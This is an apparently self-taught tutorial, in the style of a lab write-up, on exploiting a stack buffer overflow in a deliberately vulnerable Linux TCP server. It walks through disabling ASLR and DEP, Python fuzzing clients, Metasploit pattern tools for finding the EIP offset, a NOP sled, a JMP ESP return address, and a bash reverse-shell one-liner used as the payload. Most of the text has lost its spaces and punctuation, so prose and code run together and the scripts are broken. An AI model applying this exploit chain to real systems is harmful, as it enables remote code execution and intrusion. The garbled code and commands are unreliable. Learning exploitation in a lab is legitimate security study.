RegistersampldquoTheStackrdquohellipakascarystuffYoulikelyalreadyknowthatcomputerprocessoroperationsmostlyinvolveprocessingdatathatyouprovideitHowevertoprocessyourdatathecomputerneedstostoredataandaccessitDatacanbestoredondiskstoredinmemoryorstoredinCPUmemoryforexampleHoweverreadingdatadiskfromRAMandalltheIOassociatedwithgettingdataintomemoryslowsdowntheprocessingAlltheoperationstomovedataroundbasicallyinvolvescomplicatedprocessesofsendingthedatarequestacrossthecomputerrsquoscontrolbusandintothememorystorageunit(MSU)andgettingthedatathroughthesamechannelTospeeduptheprocessoroperationstheprocessorisbuiltwithsomeinternalmemorystoragelocationscalledregistersRegistersstoredynamicvariablesoperationstoperformcalculationsandinstructionstotelltheCPUwhattodonextThisisldquoTheStackrdquoldquoTheregistersstoredataelementsforprocessingwithouthavingtoaccessthememoryAlimitednumberofregistersarebuiltintotheprocessorchiprdquoBasicallyregistersarewhereyouputimportantstuffthatneedstobeprocessedbytheCPUWhatdoesthatmeanAddingsubtractingorwhateveryouneedtodotocreateordisplayldquostuffrdquoinyourprogramLetrsquosdigintothemessy
detailsitwontbefunnyyoursquollneedtore-readandafterreadingafewtimesdonrsquotbeafraidthatyoudonrsquotrememberitallJustbustopenadebuggerandstarttinkeringaroundProcessorRegistersWersquoregoingtofocuson32bitoperatingsystemThereareten32-bitandsix16-bitprocessorregistersinIA-32architectureTheregistersaregroupedintothreecategoriesminus
Generalregisters Controlregisters Segmentregisters
Thegeneralregistersarefurtherdividedintothefollowinggroups
Dataregisters Pointerregisters Indexregisters DataRegisters
DataRegistersFour32-bitdataregistersareusedforarithmeticlogicalandotheroperationsThese32-bitregisterscanbeusedinthreewaysRememberXfordataregardlessof32or64bit
1) Ascomplete32-bitdataregistersEAXEBXECXEDX2) Lowerhalvesofthe32-bitregisterscanbeusedasfour16-bitdataregistersAXBXCXandDX3) Lowerandhigherhalvesoftheabove-mentionedfour16-bitregisterscanbeusedaseight8-bitdataregisters
AHALBHBLCHCLDHandDL
Someofthesedataregistershavespecificuseinarithmeticaloperations
AX is the primary accumulator it is used in inputoutput and most arithmetic instructions For example in
multiplicationoperationoneoperandisstoredinEAXorAXorALregisteraccordingtothesizeoftheoperand
BXisknownasthebaseregisterasitcouldbeusedinindexedaddressing
CXisknownasthecountregisterastheECXCXregistersstoretheloopcountiniterativeoperations
DX is known as the data register It is also used in inputoutput operations It is also used with AX register along with
DXformultiplyanddivideoperationsinvolvinglargevalues
PointRegisters(IPissuperimportantreadaboutitoverandoveragain)The pointer registers are 32-bit EIP ESP and EBP registers and corresponding 16-bit right portions IP SP and BP
Therearethreecategoriesofpointerregisters
Instruction Pointer (IP) minus The 16-bit IP register stores the offset address of the next instruction to be
executed IP in association with the CS register (as CSIP) gives the complete address of the current
instruction in the code segment NOTES IP will control the next instruction executed hellip like say our
malware
Stack Pointer (SP) minus The 16-bit SP register provides the offset value within the program stack SP in
association with the SS register (SSSP) refers to be current position of data or address within the program
stack NOTES Might give you a reference point to look higher in memory to find our malware in
bufferNOPsledaddresses
Base Pointer (BP) minus The 16-bit BP register mainly helps in referencing the parameter variables passed to a
subroutine The address in SS register is combined with the offset in BP to get the location of the parameter
BP can also be combined with DI and SI as base register for special addressing NOTES Base pointer
tracks the memory location between your Dynamic Variables and registers and your buffer etc BP
isagoodreferencepointforfindingsmemorylocationsupintoregistersordownintoyourbuffer
Therersquos also a lot of talk about assembly At first glance when assembly is in the debugger it looks really complicated
and scary Quite frankly I still havent mastered it but while you learn there are a few core concepts and operational
codestostartwiththatmostoverflowstutorialsseemtoincludehellip
Irsquom going to list what might seem like some scary and complicated stuff but read it and then look at the pictures
following it then go back and reread this section againhellipIf youre not ready jump into the picture directly at the end
andcomebacktoreading
ControlFlowInstructions
The x86 processor maintains an instruction pointer (IP) register that is a 32-bit value indicating the location in memory where the
currentinstructionstarts
Normally it increments to point to the next instruction in memory begins after execution an instruction The IP register cannot be
manipulateddirectly(Butitcanbeoverwritten)butisupdatedimplicitlybyprovidedcontrolflowinstructions
We use the notation ltlabelgt to refer to labeled locations in the program text Labels can be inserted anywhere in x86 assembly code
textbyenteringalabelnamefollowedbyacolonForexample
movesi[ebp+8]
beginxorecxecx
moveax[esi]
The second instruction in this code fragment is labeled begin Elsewhere in the code we can refer to the memory location that this
instruction is located at in memory using the more convenient symbolic name begin This label is just a convenient way of expressing
thelocationinsteadofits32-bitvalue
jmpmdashJump
Transfers program control flow to the instruction at the memory location indicated by the operand You might use this to ldquoJumprdquo into
amemorylocationthatishostingthemalware
Syntax
jmpltlabelgt
Example
jmpbeginmdashJumptotheinstructionlabeledbegin
callretmdashSubroutinecallandreturn
These instructions implement a subroutine call and return The call instruction first pushes the current code location onto the
hardware supported stack in memory (see the push instruction for details) and then performs an unconditional jump to the code
location indicated by the label operand Unlike the simple jump instructions the call instruction saves the location to return to when
thesubroutinecompletes
The ret instruction implements a subroutine return mechanism This instruction first pops a code location off the hardware supported
in-memory stack (see the pop instruction for details) It then performs an unconditional jump to the retrieved code location A series of
instructionsthatendinRETareoftenchainedtogethertobypassstackprotectionswhichyouwillfindoutlater
Syntax
callltlabelgt
ret
DataMovementInstructions
movmdashMove(Opcodes88898A8B8C8E)
The mov instruction copies the data item referred to by its second operand (ie register contents memory contents or a constant value)
into the location referred to by its first operand (ie a register or memory) While register-to-register moves are possible direct
memory-to-memory moves are not In cases where memory transfers are desired the source memory contents must first be loaded
intoaregisterthencanbestoredtothedestinationmemoryaddress
Syntax
movltreggtltreggt
movltreggtltmemgt
movltmemgtltreggt
movltreggtltconstgt
movltmemgtltconstgt
Examples
moveaxebxmdashcopythevalueinebxintoeax
movbyteptr[var]5mdashstorethevalue5intothebyteatlocationvar
pushmdashPushstack(OpcodesFF898A8B8C8E)
The push instruction places its operand onto the top of the hardware supported stack in memory Specifically push first decrements
ESP by 4 then places its operand into the contents of the 32-bit location at address [ESP] ESP (the stack pointer) is decremented by
pushsincethex86stackgrowsdown-iethestackgrowsfromhighaddressestoloweraddresses
Syntax
pushltreg32gt
pushltmemgt
pushltcon32gt
Examples
pusheaxmdashpusheaxonthestack
push[var]mdashpushthe4bytesataddressvarontothestack
popmdashPopstack
The pop instruction removes the 4-byte data element from the top of the hardware-supported stack into the specified operand (ie
register or memory location) It first moves the 4 bytes located at memory location [SP] into the specified register or memory location
andthenincrementsSPby4
Syntax
popltreg32gt
popltmemgt
Examples
popedimdashpopthetopelementofthestackintoEDI
pop[ebx]mdashpopthetopelementofthestackintomemoryatthefourbytesstartingatlocationEBX
leamdashLoadeffectiveaddress
The lea instruction places the address specified by its second operand into the register specified by its first operand Note the
contents of the memory location are not loaded only the effective address is computed and placed into the register This is useful for
obtainingapointerintoamemoryregion
Syntax
lealtreg32gtltmemgt
Examples
leaedi[ebx+4esi]mdashthequantityEBX+4ESIisplacedinEDI
leaeax[var]mdashthevalueinvarisplacedinEAX
leaeax[val]mdashthevaluevalisplacedinEAX
In this write up and many blogs yoursquoll pay close attention to IP ESP and JMP in the vulnerable program However the other assembly
commands are good for understanding generally how higher level code gets executed and for other potential overflow techniques So
letrsquos summarize all this into a simple picture I found this while watching a Youtube video by ComputerPhile I thought it summarized
everythingquitenicely
On the left hand side you have the storage location we discussed previously For example you have you ldquoStackrdquo and ldquoHeaprdquo called out
The right hand of this picture basically breaking down the stack into some of the locations that get put into the stack Say a math
function parameters (ie your dynamic variables in code) your return address or Instruction Pointer IP etc etc Okay so to a noob
maybethisdoesntmeanalotsoletrsquosmoveontosomemorevisualexamplesfirstbeforewetalkaboutanymoreldquocoderdquo
SowehaveabufferandsomeotherCPUbasedmemoryspacesforthoseregisterslocationsAllthatassemblycodeishelpingusadd
thingsintotheregistrylocationjumptonewfunctionsincodetakethingsoutanddomathematicaloperationsforyourfunctionsinthe
higherlevelcode
IfyoureadalongotherpartsoftheregistryareusedforstoringpointerstothenextfunctionprogramordatainourbufferetcInthis
pictureifyousendldquoToomuchdatardquototheprogramandyourprogramhasnoboundscheckingthenthebuffercanoverflowyour
instructionpointerIfyoucanoverwriteaninstructionpointer(akaIPEIP)withthememorylocationofyourmalwarethenyoucantrick
theprogramintoexecutingyourmalwarewiththeprogramspermissions
OverflowtheBufferCrashintotheStackWriteaReturnAddressintoEIPthatpointsbacktoyourmalware
LetrsquosbreakdownthevulnerableservercodeinAssemblytobetterunderstandwhatrsquoshappeningwhenwefuzztheapplicationand
overflowwithabunchofArsquosandBrsquosTypeobjdump-dVulnerableServer
1 TheaddressofvulnReadstartsatmemoryaddress78dinhex
2 x414inhexor1044indecimalbytesarereservedforthelocalvariablesBecauseofincludeBUFFER_SIZE=1024alarge
isallocatedasalocalvariable
791 81ec14040000 sub$0x414esp
3 Theaddressofthebufferstarts0x410inhexor1040indecimalbytesfrombase-pointerebpThismeansthat1040bytesare
reservedforbufferbutrememberthatBUFFER_SIZE=1024
8d85f0fbffff lea-0x410(ebp)eax
4 Memorylocationsseemtobeaddingandsubtractingbasedonspaceneededtostoredifferentoperationsandmemory
locationsUntilfinally
5 Later-0x40c(ebp)eaxor1036arereservedandatmemorylocation7e6weseeacallto550ltreadpltgt
defineBUFFER_SIZE1024
defineHEADER_SIZE4
EIP(ReturnAddresstonextfunction)
EBPofVuln_Read(BasePointer)
to_read
buffer
read_bytes
Lastvariable(StackPointer)
So1040byteofmemorywasallocatedandthestackgrowsdownfromEBPSomeassemblyoperationsoccurandvariablesarestored
andpointersandupdatedandthememorygrowsandshrinksWithoutbeinganassemblygeniusweseethespecificfunction
(readplt)withthevulnerabilitycalledandcaninferthatthebufferallocationbeforethatisusedforthefunctioncallInthiscase1036
availablebytesLetrsquosbreakthatdown
1036bytesforthebuffer+4bytesforEBP+4bytesforEIP(InstructionPointer)
AnotherimportantpieceofthepuzzleistoldquoFindrdquothecodethatyoujustputintothebufferInourexamplethatwillbeabunchofArsquos
thatweuseduringfuzzingHoweverasweprogresstheArsquoswillgetreplacedwithmalwarebecauseabunchofArsquosarentthatuseful
outsidethecontextoflearning
Afterwefindthecodewewanttobesurethatthecomputerwillldquomove-alongrdquountilitgetstowhateverdataweputintothebufferThe
reasonforthisisbecauseknowingldquoexactlyrdquowherethecomputerputsourArsquosBrsquosandCrsquosishardWemightoverwriteallthoseldquoArsquosrdquo
ldquoBrsquosrdquoandldquoCrsquosrdquobutfindingtheexactmemorylocationthecomputerdecidestoputtheminisnotalwaysviablebecausememory
locationsmovearoundabitPluswewanttomakesurethatthecomputerdoesnrsquotexitorterminateexecutionbeforeitgetstotheBrsquosor
laterourldquomalwarerdquo
Themostbasictechniquetoaddressthisiswithx90NOP(nooperation)WereplaceourArsquos(x41)withx90andthattellsthe
computertojustldquomovealongrdquountilyougettothenextinstructionAsanoobitgivesusabiglandingpadtofindLookbelowatthe
pictureaboveandyoursquollseeanarrowthatpointsbacktotheldquoBufferrdquowithabunchofx90sThismeanswewillputaninstructioninto
IPEIPthatreturnsthecomputerbacktothebufferandtheRETURNwilllandintoabunchofNOPSandthenslidedownintotheBrsquosin
ourprogram
Thefollowingtwopicturesreallyputeverythingintoperspectiveformeignorethebuffersizenumbers
EnoughtheoryshowmeTheCode
DisablingDEPASLR
YoumustdisableASLRandDEPonalabmachinetolearnthebasicbufferoverflow
ASLR-Linux
echo0|sudoteeprocsyskernelrandomize_va_spaceDEPPassedascommandlineargumentinMakefileoratgcccommandline
-fstack-protector-Waexecstack
Onax86linuxarchitecturewithDEPASLRdisabledhellipLetrsquosgiveitashotfirstwersquollrunthevulnerableserverPoCwithinGDB
compilesthevulnerableCprogramwithanumberofprotectionsremovedDisabling-fstack-protectorremovessomemodernprotectionagainstoverwritingtheinstructionpointerLetrsquosdeferuntillaterexecstackwillmarkbinaryorsharedlibraryasrequiringexecutablestackMakefileallor
gcc-gvulnServerc-fno-stack-protector-z-Waexecstack-oServergdbServer1337
OkaysothevulnerableTCPserverisloadedintoGDBGDBisadebuggertogiveasaccessintothememoryregistersassemblyetcetcIfyourefamiliarwithwebdevelopmentlikeIwastheconceptofsettingbreakpointsatdifferentmomentsinthecodewasveryfamiliarItseemsintimidatingbutareallygoodcheatsheetishere
GDBCheatSheet
httpswwwcheatographycomfristlecheat-sheetsclosed-source-debugging-with-gdbFromtheterminaltype
run1337
NowitrsquostimetoldquoFuzzrdquoWealreadywentthroughsometheoryandrationalebeforebutitwasnrsquotdescribedinandend-to-endtypeofcontextArefresherhellipldquoFuzztestingorFuzzingisaBlackBoxsoftwaretestingtechniquewhichbasicallyconsistsinfindingimplementationbugsusingmalformedsemi-malformeddatainjectioninanautomatedfashionrdquoldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfyourememberIprovidedsomesimplecommandstoillustratetheexampleForthisapplicationwecandoitcompletelyhandsonpython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]Sowecouldapproachthisacoupleofways
1 Gobackintothereversedengineeredbinariesandtrytodeterminewhatourbuffersizeisthroughthesourcecodeandassembly
2 RuntheprogramthroughthrewGDBandsetbreakpointsandfindops-codethatindicateBUFFERvariablesize3 Writeaniterativefuzzingscripttofindtheoverflowpoint
WritingthefuzzingscriptwasthebestlearningexerciseformeSowersquoregoingtocoverthatherequicklyLetrsquosstartwithgeneratingabunchofdatawiththecommandbelowIrsquomgoingtojustincreasethenumberofAsby10threetimes Examplepython-cprintx41overflowpython-cprintx4110python-cprintx4120python-cprintx4130
AllwersquoredoingiscreatingabunchofArsquosWedothisbecausewedonrsquotknowthemagicnumberofbyteswhereourattackpayloadwillresultinanoverflowThatrsquosthefuzzWewillneedtomodifythebasicpythonfuzzingexampletofittheuniqueldquopre-fixrdquothatisbuiltintothevulnerableserverlogicWewillreusetheBLACKpartsofthecodeslogicbelowandcopyintotheclientpyscriptusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30
bufferappend(Acounter)counter=counter+200
forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((101110167110))srecv(1024)ssend(USERtestrn)srecv(1024)
ssend(PASS+string+rn)ssend(QUITrn)sclose()FirstletrsquoscreatecopyoftheoriginalclientsourcecodecpclientpyclientPoCpyNowletrsquosmakethefollowingchangestoclientPoCpyhellip usrbinpythonimportsocketimportstructimportsysiflen(sysargv)=2printUsage+sysargv[0]+[port]sysexit(1)
MESSAGE=Awhilelen(MESSAGE)lt=1000000mayneedtobeincreasedbasedonyourtargetbuffersize
DEST_IP=127001hostyourvulnProgramsislisteningonDEST_PORT=int(sysargv[1])counter=100
MESSAGE+=(Acounter)increasingthefuzzpayloadofAscounter=counter+100100hereisarbitrarysmallerwillbemoreaccuratebuttakelonger
print(lengthoffuzzoverflowis)print(len(MESSAGE))Foreducationalpurposes
forstringinMESSAGE
defconvert(MESSAGE)raw=raw+=structpack(ltIlen(MESSAGE))Serverexpectsapre-fixtellingyouthebuffersizeraw+=MESSAGEreturnraw
print(convert(MESSAGE))testpurposess=socketsocket(socketAF_INETsocketSOCK_STREAM)sconnect((DEST_IPDEST_PORT))ssend(convert(MESSAGE))data=srecv(1024)
sclose()printReceiveddatadataLetrsquosrunthepythonclientpyscriptandthevulnerableCtcpserverWersquollseethatthepythonscriptwillactasexpectedandbeginiteratingthroughthewhileloopandincreasingthenumberofArsquosIrsquoveincludedaprint()soyoucanwatchtheArsquosgrowastheclientrunsIfyouruntheclientterminalandtheserverterminalsidebysideyoursquollbeabletocomparetheclientpayloadbeingsenttothepayloadbeingreceivedbythevulnerabletcpserver
HopefullyyouruntheattackagainstyoursquorevulnerabletcpserverwhileinEDBmodeYoursquollnoticeaSIGSEGVerroratbytelengthof1101ASIGSEV(segmentationfault)oraccessviolationisafaultorfailureconditionistypicallyraisedbyhardwareasamemoryprotectionmechanismwhenyourprogramattemptstoaccessamemorylocationthateitherdoesnotexistorthatyourprogramisnotallowedtoaccessInthiscaseweoverwroteourEIP(instructionpointer)withamemorylocationof0x4141414orinotherwordsfourArsquos
ThenextpartiscriticalandIoverlookeditthefirstfewtimesIwastryingtounderstandhowthestackbufferrelatestotheregistersAt1101bytestheprogramcrashesHoweverwedonrsquotknowhowfarintotheregisterwewroteourArsquosBecausethisisopensourcecodeweknowthatthebufferwas1024bytesandwewroteout1101bytessoitrsquoslikelyweoverwrite77bytesworthofspaceoverourregisters
WhydowecareWewanttomodifyourinstructionpointerorEIPinx86IfwecanpreciselyoverwriteEIPwiththememorylocationofourprogramthenwecantricktheCPUintoexecutingourmaliciouscodeToillustrateIdrewanXthroughthereturnarraybackintoourbeforebecauseweonlyhaveabunchofArsquosinthereLetrsquossaywewanttowrite4Brsquosinthe4bytespaceinthereturnpointerTheBrsquos(x42)arearbitraryandonlyusedtoillustratethepointIfwewanttowriteBrsquostoaspecificregisterthenweneedtofigureouttheexactnumberofbytestostopwritingArsquosandstartwritingBrsquosManualbinarytreeanalysisisthebestforabeginnerinmyopinionMainlybecauseyoursquollneedtomanuallyworkyourwaythroughthebytesizelengthsmakingeducatedguesseswhileatthesametimelookingattheregistersandldquovisualizingrdquohowitallworks
Soifwehaveacrashatletrsquossay1100WecansplitthenumberofArsquosandBrsquosinto550Doingthismanuallyjustforkickspython-cprintx41550+x42550
Letrsquosusetheoriginalclientpy(notthefuzzer)andreplacetheldquoHELLOrdquomessagewithournewbufferwejustcreatedRestartthevulnerabletcpapplicationinGDBandruntheclientpywithourAandBrsquosbufferPuttingtheapplicationside-by-sideweseethat1100byteweresenthalfAsandhalfBrsquosHoweverthistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithBrsquos(x42)
LetrsquostakeourfirstlookintotheregisterstoseewhatrsquosgoingonTypeldquoinfoall-registersrdquo
EachtimeyourunthroughthebinarytreecreatenewbuffermakesureyoulookintotheregistersTheoutputshowsusthatouroverflowisinourBrsquosbecauseweseex42hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway(-8Nowweneedtogofartherdownthebinarytreetofindtheexactlocationtowriteonly4bytesofBs(x42s)SowersquollmodifyourbuffertoincludesomeCrsquosWersquolldivide11003=andapproximate366+366+368python-cprintx41366+x42366+x43368
LetrsquosupdatetheoriginalclientpyscriptagainwithournewbufferandruntheattackagainstthevulnerableserverintheEDBBythewayIfoundVIMtobefarsuperiorforreplacinglargebuffersizewordsallatonceandnavigatingbackandforthtothebeginningandendofline(-8hellipafterfatthumbingitafewtimesweplacetheclientandtheserverside-by-sideandobservewhathappened
ThistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithCrsquos(x43)TheoutputshowsusthatouroverflowisinourCrsquosbecauseweseex43hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway
WecansaytheresultsofthismakesensebecausewehavethesourcecodeWeknowthatthebufferisallocated1024bytesasapre-processorinstructionAtthispointourArsquosandBrsquosonlyequalatotalof366+366=732bytesNotenoughtooverflowthe1024butanother386isenoughtocrashintothestackrsquosregistersLetrsquoskeepgoingWersquolldividetheCrsquosupnextupdateourclientbufferandretesttheprograminEDBpython-cprintx41366+x42366+x43184+x44184ThistimeweseethefaultoccursintheDrsquoswichmeanswearegettingverycloseSincewersquoreontherighttrackandknowweneedtogetdownintoonly4bytesletrsquosbreaktheDrsquosdownfurther
python-cprintx41366+x42366+x43184+x4462+x4562+x4662
AtthispointIrsquomgettingtiredandthisisgettingoldbutweknowtheoverflowissomewhereinthelast62bytesSoletrsquospauseandaskourselveshowcouldwehavedonethisfasterWerememberouriteratorinthefuzzerTherewasareasonwhyIprintedthebytesizelengthtoscreenLetrsquosgobacktoapictureofourfuzzer
Sobetween1000and1100theoverflowoccursForfastresultswecouldrepeatthebinarytreeanalysiswhereonthelast100byteshellip
python-cprintx411000+x4225+x4325+x4425+x4525
That was much faster In one run we already know that the overflow falls somewhere within the Crsquos or x43s That could be anywhere
up to 1050 bytes This makes sense because we know our buffer is 1024 and we have an idea that there are some other registers that
mightgetoverwrittenbeforeourcodemakesitrsquoswaytotheinstructionpointerLetrsquosbreakdownthose25Crsquosinto8Crsquos8Drsquos9Ersquos
python-cprintx411000+x4225+x438+x448+x459
Now our fault occurs in our Ersquos or x45rsquos Simple math tells us that is somewhere between ~ 1040-1050 bytes and we know our registers
are4byteor32bitregistersthereforewecanbreakthatfinal9Ersquosinto4Ersquosand4Frsquosandseewhathappens
python-cprintx411000+x4225+x438+x448+x454+x464
Close 3 bytes of Ersquos or 3 x45rsquos but look closely one byte of D or x44 This means we need to subtract one D (x44) I feel like wersquore
onestepaway
python-cprintx411000+x4225+x438+x447+x454+x464
BoomThatrsquosit4bytesofErsquosor4x45rsquosLetrsquoscrackopenourregistersandconfirmthatwehavecontroloverourinstructionpointer
Okay so letrsquos recap You can save time during binary tree analysis if you print your fuzzerrsquos buffer to screen In this case we know the
crash occurred between 1000 and 1100 We also learned that our instruction pointer was well being overwritten with As We need to
find the exact location of the 4 byte EIP register because later we want to put a memory location of our ldquomalwarerdquo and tell the computer
to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because
Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from
right-to-leftrelativetotheorderyousuppliedthedata
FindingInstructionPointerthefastway
Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your
taught to use this program without learning the manual way then you may not understand what and why exactly you are using the
program
httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb
Soourfuzzertoldusthecrashhappenedatapproximately1100bytes
rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb
rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100
This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this
command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers
and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb
outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP
Example
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0
Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6
Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7
Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1
Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2
Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf
4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk
YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236
Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP
value
usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236
Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis
python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample
Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands
Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a
bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode
python-cprintx901040+x454+x904
Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs
Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect
thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545
MESSAGE=x901040+x454+x901000
Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly
x45454545
Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our
NOPSletsruntheattackwiththefollowinglogicintheclientpy
MESSAGE=x901040+x454+x901000
Letrsquosswitchsomethingsupandtryanewdebuggerhellip
1 Server1337
2 Fromterminal2rarredb
3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo
4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)
5 UpdateyourclientPoCcode
6 pythonclientPoCpy1337
CodeChanges
malware=(x41100)
eip=x424
ending=x90200
nopsled=(x90(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly
Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand
corner
Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points
to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At
memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware
Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump
intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor
aJMPESPopcodetofindamemorylocationwiththatinstruction
1 runthevulnerableserver
2 startupedbdebuggerandattackthevulnerableserver
3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP
4 Manuallysearchthrougheachloadedbinaryandclicksearch
0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU
tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder
So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the
futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun
Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow
binsh-igtampdevtcp12700144440gtamp1
Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in
one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It
lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)
The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate
a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and
not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there
isanaddedlayerofcomplexity
LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes
ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs
NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general
sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as
register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often
abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine
codeinstructionsrdquo
So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But
when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing
the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work
